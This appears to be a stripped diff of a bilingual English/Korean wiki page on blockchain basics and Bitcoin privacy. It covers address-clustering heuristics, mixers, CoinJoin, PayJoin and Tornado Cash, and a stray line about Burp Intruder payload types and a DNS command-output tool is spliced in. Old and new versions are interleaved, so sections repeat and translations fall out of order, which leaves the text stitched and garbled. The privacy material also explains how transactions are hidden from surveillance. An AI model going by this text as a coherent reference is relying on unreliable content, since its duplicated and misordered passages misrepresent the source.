- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **다중 서명 거래**는 거래를 승인하기 위해 여러 서명이 필요합니다.
- 거래는 **입력**(자금 출처), **출력**(목적지), **수수료**(채굴자에게 지급), **스크립트**(거래 규칙)로 구성됩니다.
### Lightning Network
### 라이트닝 네트워크
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
비트코인의 확장성을 향상시키기 위해 여러 거래를 채널 내에서 허용하고, 최종 상태만 블록체인에 방송하는 것을 목표로 합니다.
## Bitcoin Privacy Concerns
## 비트코인 프라이버시 문제
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
**공통 입력 소유권** 및 **UTXO 변경 주소 탐지**와 같은 프라이버시 공격은 거래 패턴을 악용합니다. **믹서** 및 **코인조인**과 같은 전략은 사용자 간의 거래 링크를 모호하게 하여 익명성을 향상시킵니다.
## Acquiring Bitcoins Anonymously
## 비트코인을 익명으로 획득하기
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
현금 거래, 채굴 및 믹서 사용과 같은 방법이 포함됩니다. **코인조인**은 여러 거래를 혼합하여 추적 가능성을 복잡하게 만들고, **페이조인**은 코인조인을 일반 거래로 위장하여 프라이버시를 높입니다.
# Bitcoin Privacy Atacks
# 비트코인 프라이버시 공격
# Summary of Bitcoin Privacy Attacks
# 비트코인 프라이버시 공격 요약
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
비트코인 세계에서 거래의 프라이버시와 사용자의 익명성은 종종 우려의 대상입니다. 공격자가 비트코인 프라이버시를 침해할 수 있는 여러 일반적인 방법에 대한 간단한 개요입니다.
## **Common Input Ownership Assumption**
## **공통 입력 소유권 가정**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
복잡성으로 인해 서로 다른 사용자의 입력이 단일 거래에 결합되는 경우는 일반적으로 드뭅니다. 따라서 **같은 거래의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다**.
## **UTXO Change Address Detection**
## **UTXO 변경 주소 탐지**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
UTXO, 즉 **사용되지 않은 거래 출력**은 거래에서 완전히 소진되어야 합니다. 일부만 다른 주소로 전송되면 나머지는 새로운 변경 주소로 가게 됩니다. 관찰자는 이 새로운 주소가 발신자에게 속한다고 가정하여 프라이버시를 침해할 수 있습니다.
### Example
### 예시
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
이를 완화하기 위해 믹싱 서비스나 여러 주소를 사용하는 것이 소유권을 모호하게 하는 데 도움이 될 수 있습니다.
## **Social Networks & Forums Exposure**
## **소셜 네트워크 및 포럼 노출**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
사용자들은 때때로 자신의 비트코인 주소를 온라인에 공유하여 **주소와 소유자를 쉽게 연결할 수 있게 합니다**.
## **Transaction Graph Analysis**
## **거래 그래프 분석**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
거래는 그래프로 시각화될 수 있으며, 자금 흐름에 따라 사용자 간의 잠재적 연결을 드러냅니다.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **불필요한 입력 휴리스틱 (최적 변경 휴리스틱)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 어떤 출력이 발신자에게 돌아가는 변경인지 추측하는 데 기반합니다.
### 예시
```bash
2 btc --> 4 btc
3 btc 1 btc
```
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Forced Address Reuse**
## **강제 주소 재사용**
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
공격자는 이전에 사용된 주소로 소량의 비트코인을 보내, 수신자가 향후 거래에서 이를 다른 입력과 결합하기를 희망하여 주소를 연결할 수 있습니다.
### Correct Wallet Behavior
### 올바른 지갑 동작
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
지갑은 이미 사용된 빈 주소에서 받은 코인을 사용하지 않아야 하며, 이를 통해 개인 정보 유출을 방지해야 합니다.
## **Other Blockchain Analysis Techniques**
## **기타 블록체인 분석 기술**
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
- **정확한 지불 금액:** 잔돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다.
- **정수:** 거래에서 정수는 지불을 나타내며, 비정수 출력은 잔돈일 가능성이 높습니다.
- **지갑 지문 인식:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있어 분석가가 사용된 소프트웨어와 잠재적으로 잔돈 주소를 식별할 수 있습니다.
- **금액 및 시간 상관관계:** 거래 시간이나 금액을 공개하면 거래가 추적 가능해질 수 있습니다.
## **Traffic Analysis**
## **트래픽 분석**
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소에 연결할 수 있어 사용자 개인 정보가 침해될 수 있습니다. 이는 특히 한 기관이 많은 비트코인 노드를 운영하는 경우에 해당하며, 거래 모니터링 능력이 향상됩니다.
## More
## 더 알아보기
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
개인 정보 공격 및 방어에 대한 포괄적인 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)를 방문하세요.
# Anonymous Bitcoin Transactions
# 익명 비트코인 거래
## Ways to Get Bitcoins Anonymously
## 익명으로 비트코인을 얻는 방법
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
- **현금 거래**: 현금을 통해 비트코인을 획득합니다.
- **현금 대안**: 기프트 카드를 구매하고 이를 온라인에서 비트코인으로 교환합니다.
- **채굴**: 비트코인을 얻는 가장 개인적인 방법은 채굴이며, 특히 혼자서 할 때 그렇습니다. 채굴 풀은 채굴자의 IP 주소를 알 수 있기 때문입니다. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **도난**: 이론적으로 비트코인을 훔치는 것도 익명으로 획득하는 방법이 될 수 있지만, 이는 불법이며 권장되지 않습니다.
## Mixing Services
## 믹싱 서비스
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
믹싱 서비스를 사용하면 사용자가 **비트코인을 보내고** **다른 비트코인을 받는** 방식으로 원래 소유자를 추적하기 어렵게 만듭니다. 그러나 이는 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환할 것이라는 신뢰가 필요합니다. 대안 믹싱 옵션으로는 비트코인 카지노가 있습니다.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin**은 서로 다른 사용자로부터 여러 거래를 하나로 병합하여 입력과 출력을 일치시키려는 사람에게 과정을 복잡하게 만듭니다. 그 효과에도 불구하고, 고유한 입력 및 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
CoinJoin을 사용했을 가능성이 있는 예시 거래는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`입니다.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
자세한 정보는 [CoinJoin](https://coinjoin.io/en)을 방문하세요. 이더리움에서 유사한 서비스는 [Tornado Cash](https://tornado.cash)로, 이는 채굴자의 자금으로 거래를 익명화합니다.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
CoinJoin의 변형인 **PayJoin**(또는 P2EP)은 두 당사자(예: 고객과 상인) 간의 거래를 일반 거래처럼 위장하여 CoinJoin의 고유한 동등 출력 특성을 가지지 않습니다. 이는 탐지하기 매우 어렵게 만들며, 거래 감시 기관에서 사용하는 일반 입력 소유권 휴리스틱을 무효화할 수 있습니다.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
위와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별되지 않으면서 프라이버시를 향상시킵니다.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**PayJoin의 활용은 전통적인 감시 방법에 상당한 혼란을 초래할 수 있으며**, 거래 프라이버시 추구에 있어 유망한 발전입니다.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# 암호화폐에서 프라이버시를 위한 모범 사례
# Best Practices for Privacy in Cryptocurrencies
## **지갑 동기화 기술**
## **Wallet Synchronization Techniques**
프라이버시와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 두드러집니다:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **풀 노드**: 전체 블록체인을 다운로드함으로써 풀 노드는 최대한의 프라이버시를 보장합니다. 지금까지 이루어진 모든 거래가 로컬에 저장되어, 적들이 사용자가 관심 있는 거래나 주소를 식별하는 것이 불가능합니다.
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 모든 블록에 대한 필터를 생성하여 지갑이 특정 관심사를 네트워크 관찰자에게 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하고, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
## **익명성을 위한 Tor 활용**
## **Utilizing Tor for Anonymity**
비트코인이 P2P 네트워크에서 운영되기 때문에, 네트워크와 상호작용할 때 IP 주소를 숨기기 위해 Tor를 사용하는 것이 권장됩니다.
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
## **주소 재사용 방지**
## **Preventing Address Reuse**
프라이버시를 보호하기 위해서는 모든 거래에 대해 새로운 주소를 사용하는 것이 중요합니다. 주소를 재사용하면 거래가 동일한 주체에 연결되어 프라이버시가 손상될 수 있습니다. 현대 지갑은 디자인을 통해 주소 재사용을 권장하지 않습니다.
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
## **거래 프라이버시를 위한 전략**
## **Strategies for Transaction Privacy**
- **다수의 거래**: 결제를 여러 거래로 나누면 거래 금액을 모호하게 하여 프라이버시 공격을 저지할 수 있습니다.
- **거스름돈 회피**: 거스름돈 출력을 필요로 하지 않는 거래를 선택하면 거스름돈 탐지 방법을 방해하여 프라이버시를 향상시킵니다.
- **다수의 거스름돈 출력**: 거스름돈을 피할 수 없는 경우, 여러 거스름돈 출력을 생성하는 것도 여전히 프라이버시를 개선할 수 있습니다.
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
# **모네로: 익명의 등대**
# **Monero: A Beacon of Anonymity**
모네로는 디지털 거래에서 절대적인 익명성의 필요성을 다루며, 프라이버시의 높은 기준을 설정합니다.
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
# **이더리움: 가스와 거래**
# **Ethereum: Gas and Transactions**
## **가스 이해하기**
## **Understanding Gas**
가스는 이더리움에서 작업을 실행하는 데 필요한 계산 노력을 측정하며, **gwei**로 가격이 책정됩니다. 예를 들어, 2,310,000 gwei(또는 0.00231 ETH)의 거래는 가스 한도와 기본 수수료가 포함되며, 채굴자를 유인하기 위한 팁이 있습니다. 사용자는 초과 지불하지 않도록 최대 수수료를 설정할 수 있으며, 초과분은 환불됩니다.
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
## **거래 실행하기**
## **Executing Transactions**
이더리움의 거래는 발신자와 수신자가 포함되며, 이는 사용자 또는 스마트 계약 주소일 수 있습니다. 거래는 수수료가 필요하며 채굴되어야 합니다. 거래의 필수 정보에는 수신자, 발신자의 서명, 값, 선택적 데이터, 가스 한도 및 수수료가 포함됩니다. 특히, 발신자의 주소는 서명에서 유추되므로 거래 데이터에 포함할 필요가 없습니다.
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
이러한 관행과 메커니즘은 프라이버시와 보안을 우선시하며 암호화폐에 참여하고자 하는 모든 사람에게 기본적입니다.
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
## References
## 참고 문헌
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)

View File

@ -4,9 +4,9 @@
- **간단한 목록:** 각 줄에 항목이 포함된 목록
- **런타임 파일:** 런타임에 읽는 목록(메모리에 로드되지 않음). 큰 목록을 지원하기 위해.
- **대소문자 수정:** 문자열 목록에 일부 변경 적용(변경 없음, 소문자, 대문자, 고유명사 - 첫 글자 대문자 및 나머지 소문자-, 고유명사 - 첫 글자 대문자 및 나머지는 동일-).
- **대소문자 수정:** 문자열 목록에 일부 변경 적용(변경 없음, 소문자, 대문자, 고유명사 - 첫 글자 대문자, 나머지는 소문자-, 고유명사 - 첫 글자 대문자, 나머지는 그대로-).
- **숫자:** Z 단계 또는 무작위로 X에서 Y까지 숫자 생성.
- **브루트 포:** 문자 집합, 최소 및 최대 길이.
- **브루트 포:** 문자 집합, 최소 및 최대 길이.
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : DNS 요청을 통해 burpcollab에 명령을 실행하고 출력을 가져오는 페이로드.

View File

@ -1,180 +1,176 @@
{{#include ../banners/hacktricks-training.md}}
## Basic Concepts
## 기본 개념
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
- **스마트 계약**은 특정 조건이 충족될 때 블록체인에서 실행되는 프로그램으로, 중개자 없이 계약 실행을 자동화합니다.
- **탈중앙화 애플리케이션 (dApps)**은 스마트 계약을 기반으로 하며, 사용자 친화적인 프론트 엔드와 투명하고 감사 가능한 백 엔드를 특징으로 합니다.
- **토큰 및 코인**은 코인이 디지털 화폐로 사용되는 반면, 토큰은 특정 맥락에서 가치나 소유권을 나타냅니다.
- **유틸리티 토큰**은 서비스에 대한 접근을 부여하고, **증권 토큰**은 자산 소유권을 나타냅니다.
- **DeFi**는 탈중앙화 금융을 의미하며, 중앙 권한 없이 금융 서비스를 제공합니다.
- **DEX**와 **DAO**는 각각 탈중앙화 거래 플랫폼과 탈중앙화 자율 조직을 의미합니다.
## Consensus Mechanisms
## 합의 메커니즘
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
합의 메커니즘은 블록체인에서 안전하고 합의된 거래 검증을 보장합니다:
- **Proof of Work (PoW)** relies on computational power for transaction verification.
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
- **작업 증명 (PoW)**은 거래 검증을 위해 계산 능력에 의존합니다.
- **지분 증명 (PoS)**은 검증자가 일정량의 토큰을 보유해야 하며, PoW에 비해 에너지 소비를 줄입니다.
## Bitcoin Essentials
## 비트코인 필수 사항
### Transactions
### 거래
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
비트코인 거래는 주소 간 자금을 전송하는 것을 포함합니다. 거래는 디지털 서명을 통해 검증되며, 개인 키의 소유자만이 전송을 시작할 수 있습니다.
#### Key Components:
#### 주요 구성 요소:
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
- **다중 서명 거래**는 거래를 승인하기 위해 여러 서명이 필요합니다.
- 거래는 **입력**(자금 출처), **출력**(목적지), **수수료**(채굴자에게 지급), 및 **스크립트**(거래 규칙)로 구성됩니다.
### Lightning Network
### 라이트닝 네트워크
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
비트코인의 확장성을 향상시키기 위해 여러 거래를 채널 내에서 허용하고, 최종 상태만 블록체인에 방송하는 것을 목표로 합니다.
## Bitcoin Privacy Concerns
## 비트코인 프라이버시 문제
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
**공통 입력 소유권** 및 **UTXO 변경 주소 탐지**와 같은 프라이버시 공격은 거래 패턴을 악용합니다. **믹서** 및 **코인조인**과 같은 전략은 사용자 간의 거래 링크를 모호하게 하여 익명성을 향상시킵니다.
## Acquiring Bitcoins Anonymously
## 비트코인을 익명으로 획득하기
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
현금 거래, 채굴 및 믹서를 사용하는 방법이 포함됩니다. **코인조인**은 여러 거래를 혼합하여 추적 가능성을 복잡하게 만들고, **페이조인**은 코인조인을 일반 거래로 위장하여 프라이버시를 높입니다.
# Bitcoin Privacy Atacks
# 비트코인 프라이버시 공격
# Summary of Bitcoin Privacy Attacks
# 비트코인 프라이버시 공격 요약
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
비트코인 세계에서 거래의 프라이버시와 사용자 익명성은 종종 우려의 대상입니다. 공격자가 비트코인 프라이버시를 침해할 수 있는 여러 일반적인 방법에 대한 간단한 개요입니다.
## **Common Input Ownership Assumption**
## **공통 입력 소유권 가정**
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
복잡성으로 인해 서로 다른 사용자의 입력이 단일 거래에 결합되는 경우는 일반적으로 드뭅니다. 따라서 **같은 거래의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다**.
## **UTXO Change Address Detection**
## **UTXO 변경 주소 탐지**
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
UTXO, 즉 **사용되지 않은 거래 출력**은 거래에서 완전히 소진되어야 합니다. 일부만 다른 주소로 전송되면 나머지는 새로운 변경 주소로 가게 됩니다. 관찰자는 이 새로운 주소가 발신자에게 속한다고 가정하여 프라이버시를 침해할 수 있습니다.
### Example
### 예시
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
이를 완화하기 위해 믹싱 서비스나 여러 주소를 사용하는 것이 소유권을 모호하게 하는 데 도움이 될 수 있습니다.
## **Social Networks & Forums Exposure**
## **소셜 네트워크 및 포럼 노출**
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
사용자들은 때때로 자신의 비트코인 주소를 온라인에 공유하여 **주소와 소유자를 쉽게 연결할 수 있게 합니다**.
## **Transaction Graph Analysis**
## **거래 그래프 분석**
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
거래는 그래프로 시각화될 수 있으며, 자금 흐름에 따라 사용자 간의 잠재적 연결을 드러냅니다.
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
## **불필요한 입력 휴리스틱 (최적 변경 휴리스틱)**
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
### Example
이 휴리스틱은 여러 입력과 출력을 가진 거래를 분석하여 어떤 출력이 발신자에게 돌아가는 변경인지 추측하는 데 기반합니다.
### 예시
```bash
2 btc --> 4 btc
3 btc 1 btc
```
더 많은 입력을 추가하면 변경된 출력이 단일 입력보다 커지므로 휴리스틱을 혼란스럽게 할 수 있습니다.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **강제 주소 재사용**
## **Forced Address Reuse**
공격자는 이전에 사용된 주소로 소량을 보내어 수신자가 향후 거래에서 이를 다른 입력과 결합하기를 희망하며, 이를 통해 주소를 연결합니다.
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
### 올바른 지갑 동작
### Correct Wallet Behavior
지갑은 이미 사용된 빈 주소에서 받은 코인을 사용하지 않아야 하며, 이를 통해 개인 정보 유출을 방지해야 합니다.
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
## **기타 블록체인 분석 기술**
## **Other Blockchain Analysis Techniques**
- **정확한 지불 금액:** 잔돈이 없는 거래는 동일한 사용자가 소유한 두 주소 간의 거래일 가능성이 높습니다.
- **정수:** 거래에서 정수는 지불을 나타내며, 비정수 출력은 잔돈일 가능성이 높습니다.
- **지갑 지문 인식:** 서로 다른 지갑은 고유한 거래 생성 패턴을 가지고 있어 분석가가 사용된 소프트웨어와 잠재적으로 변경 주소를 식별할 수 있습니다.
- **금액 및 시간 상관관계:** 거래 시간이나 금액을 공개하면 거래를 추적할 수 있습니다.
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
## **트래픽 분석**
## **Traffic Analysis**
네트워크 트래픽을 모니터링함으로써 공격자는 거래나 블록을 IP 주소에 연결할 수 있으며, 이는 사용자 개인 정보를 위협할 수 있습니다. 이는 특히 한 엔티티가 많은 비트코인 노드를 운영하는 경우에 해당하며, 거래 모니터링 능력을 향상시킵니다.
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
## 더 많은 정보
## More
개인 정보 공격 및 방어에 대한 포괄적인 목록은 [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy)를 방문하십시오.
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# 익명 비트코인 거래
# Anonymous Bitcoin Transactions
## 익명으로 비트코인을 얻는 방법
## Ways to Get Bitcoins Anonymously
- **현금 거래**: 현금을 통해 비트코인을 획득합니다.
- **현금 대안**: 기프트 카드를 구매하고 이를 온라인에서 비트코인으로 교환합니다.
- **채굴**: 비트코인을 얻는 가장 개인적인 방법은 채굴이며, 특히 혼자서 할 때 그렇습니다. 채굴 풀은 채굴자의 IP 주소를 알 수 있습니다. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **도난**: 이론적으로 비트코인을 훔치는 것은 익명으로 획득하는 또 다른 방법이 될 수 있지만, 이는 불법이며 권장되지 않습니다.
- **Cash Transactions**: Acquiring bitcoin through cash.
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
## 믹싱 서비스
## Mixing Services
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
믹싱 서비스를 사용하면 사용자가 **비트코인을 보내고** **다른 비트코인을 받는** 것이 가능하여 원래 소유자를 추적하기 어렵게 만듭니다. 그러나 이는 서비스가 로그를 보관하지 않고 실제로 비트코인을 반환할 것이라는 신뢰가 필요합니다. 대안 믹싱 옵션으로는 비트코인 카지노가 있습니다.
## CoinJoin
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
**CoinJoin**은 서로 다른 사용자의 여러 거래를 하나로 병합하여 입력과 출력을 일치시키려는 사람에게 과정을 복잡하게 만듭니다. 그 효과에도 불구하고 고유한 입력 및 출력 크기를 가진 거래는 여전히 추적될 수 있습니다.
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
CoinJoin을 사용했을 가능성이 있는 예시 거래는 `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`입니다.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
자세한 정보는 [CoinJoin](https://coinjoin.io/en)을 방문하십시오. 이더리움에서 유사한 서비스는 [Tornado Cash](https://tornado.cash)로, 이는 채굴자의 자금으로 거래를 익명화합니다.
## PayJoin
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
CoinJoin의 변형인 **PayJoin**(또는 P2EP)은 두 당사자(예: 고객과 상인) 간의 거래를 일반 거래로 위장하여 CoinJoin의 고유한 동등 출력 특성이 없습니다. 이는 탐지하기 매우 어렵게 만들며, 거래 감시 기관에서 사용하는 일반 입력 소유권 휴리스틱을 무효화할 수 있습니다.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
위와 같은 거래는 PayJoin일 수 있으며, 표준 비트코인 거래와 구별되지 않으면서 프라이버시를 향상시킵니다.
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
**PayJoin의 활용은 전통적인 감시 방법에 상당한 혼란을 초래할 수 있으며**, 거래 프라이버시 추구에 있어 유망한 발전입니다.
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
# 암호화폐에서의 프라이버시를 위한 모범 사례
# Best Practices for Privacy in Cryptocurrencies
## **지갑 동기화 기술**
## **Wallet Synchronization Techniques**
프라이버시와 보안을 유지하기 위해 블록체인과 지갑을 동기화하는 것이 중요합니다. 두 가지 방법이 두드러집니다:
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
- **풀 노드**: 전체 블록체인을 다운로드함으로써 풀 노드는 최대한의 프라이버시를 보장합니다. 지금까지 이루어진 모든 거래가 로컬에 저장되어, 적들이 사용자가 관심 있는 거래나 주소를 식별하는 것이 불가능합니다.
- **클라이언트 측 블록 필터링**: 이 방법은 블록체인의 모든 블록에 대한 필터를 생성하여 지갑이 네트워크 관찰자에게 특정 관심사를 노출하지 않고 관련 거래를 식별할 수 있게 합니다. 경량 지갑은 이러한 필터를 다운로드하고, 사용자의 주소와 일치하는 경우에만 전체 블록을 가져옵니다.
